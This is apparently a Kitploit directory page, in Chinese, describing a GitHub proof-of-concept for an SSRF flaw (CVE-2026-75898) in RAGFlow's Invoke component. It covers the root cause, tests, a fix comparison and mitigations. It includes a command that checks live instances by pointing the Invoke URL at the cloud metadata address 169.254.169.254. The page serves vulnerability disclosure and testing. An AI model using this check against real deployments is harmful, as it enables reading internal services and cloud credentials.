Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-75898 — CVE-2026-75898 的概念验证,即 RAGFlow 的 Invoke 组件中的 SSRF 漏洞。使用未修改的源码演示该漏洞,包含端到端测试、修复对比以及基于 Docker 的复现,适用于授权安全测试。 | Kitploit
工具/GitHubGitHub/t3bik/cve-2026-75898
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubt3bik/cve-2026-75898

CVE-2026-75898

CVE-2026-75898 的概念验证,即 RAGFlow 的 Invoke 组件中的 SSRF 漏洞。使用未修改的源码演示该漏洞,包含端到端测试、修复对比以及基于 Docker 的复现,适用于授权安全测试。

查看仓库
1020天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-75898 — RAGFlow Invoke 组件 SSRF

RAGFlow 代理工作流 "Invoke" 组件中的服务端请求伪造(CWE-918),影响 0.26.3 之前的版本。

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
修复版本v0.26.3
修复提交c4fe68e, e16d1a0
问题引用infiniflow/ragflow#15425, #18280
安全公告VulnCheck

根本原因

在 v0.26.2 的 agent/component/invoke.py 中,Invoke 组件根据用户提供的变量模板构造请求 URL,并且不执行任何对解析后主机的验证:

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

该 URL 会传入 _send_request() 中的 requests.get/post/put。由于 allow_redirects 保持 requests 默认值(True),攻击者可以:

  1. 将 Invoke 的 url 设置为内部地址(127.0.0.1、169.254.169.254、RFC1918 网段,不存在解析主机固定机制),或
  2. 将其指向一个 302 重定向到内部网络的攻击者主机。

修复方案增加了 assert_url_is_safe() + pin_dns(),并强制设置 allow_redirects=False。

真实源码,而非重新实现

与"看似相似"的重新实现不同,本仓库运行的是存在漏洞组件的未修改 v0.26.2 源码:

  • target/invoke_v0.26.2.py — 与 v0.26.2 标签中的 agent/component/invoke.py 逐字节一致。
  • e2e/test_genuine_ssrf.py — 通过精简的导入桩加载该真实文件(桩仅替换无关导入:ComponentBase、timeout 装饰器和 HtmlParser — SSRF 路径逻辑完全未被改动),并证明该组件可直接访问内部服务,也可通过重定向链访问。
  • e2e/test_fix_guard.py — 在完全相同的文件上应用上游防护(assert_url_is_safe、allow_redirects=False),并展示请求被阻止。

可复现性

通过三种独立方式验证:

  1. 仓库本地 E2E(无需安装 RAGFlow):e2e/test_genuine_ssrf.py 驱动未修改的 target/invoke_v0.26.2.py 源码,针对回环实验室服务器 — 确认 SSRF。
  2. 修复对比:e2e/test_fix_guard.py 对同一文件应用上游防护 — 请求被阻止。
  3. 完整 Docker 实例:通过 docker compose 运行 RAGFlow v0.26.2(infinity+mysql+minio+valkey);真实代理流程中的 Invoke 节点从内部主机端口获取了 INTERNAL-DB-SECRET:dbpassword=SuperSecret123。逐字证据见 LAB_DEMO.md。

运行本地 E2E

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # 必须输出 SSRF confirmed(存在漏洞)
python3 test_fix_guard.py     # 必须输出 BLOCKED(修复后行为)

预期输出(存在漏洞)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

检查在线 RAGFlow 实例

需要已认证的会话令牌(Invoke 在代理流程内运行)。

root@kitploit:~
python3 poc.py --poc                                        # 本地 E2E
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

检测 / 修复措施

  • 升级到 RAGFlow ≥ 0.26.3。
  • 将代理 Invoke 节点的 URL 模板限制为白名单。
  • 对 RAGFlow 后端进行出站过滤,屏蔽内部/云元数据网段。

披露

已在 RAGFlow v0.26.3(2026 年 8 月)中修复。本 PoC 根据公开安全公告和修复提交独立重建,仅用于授权的安全测试和教育目的。与 InfiniFlow 无关联。

下载工具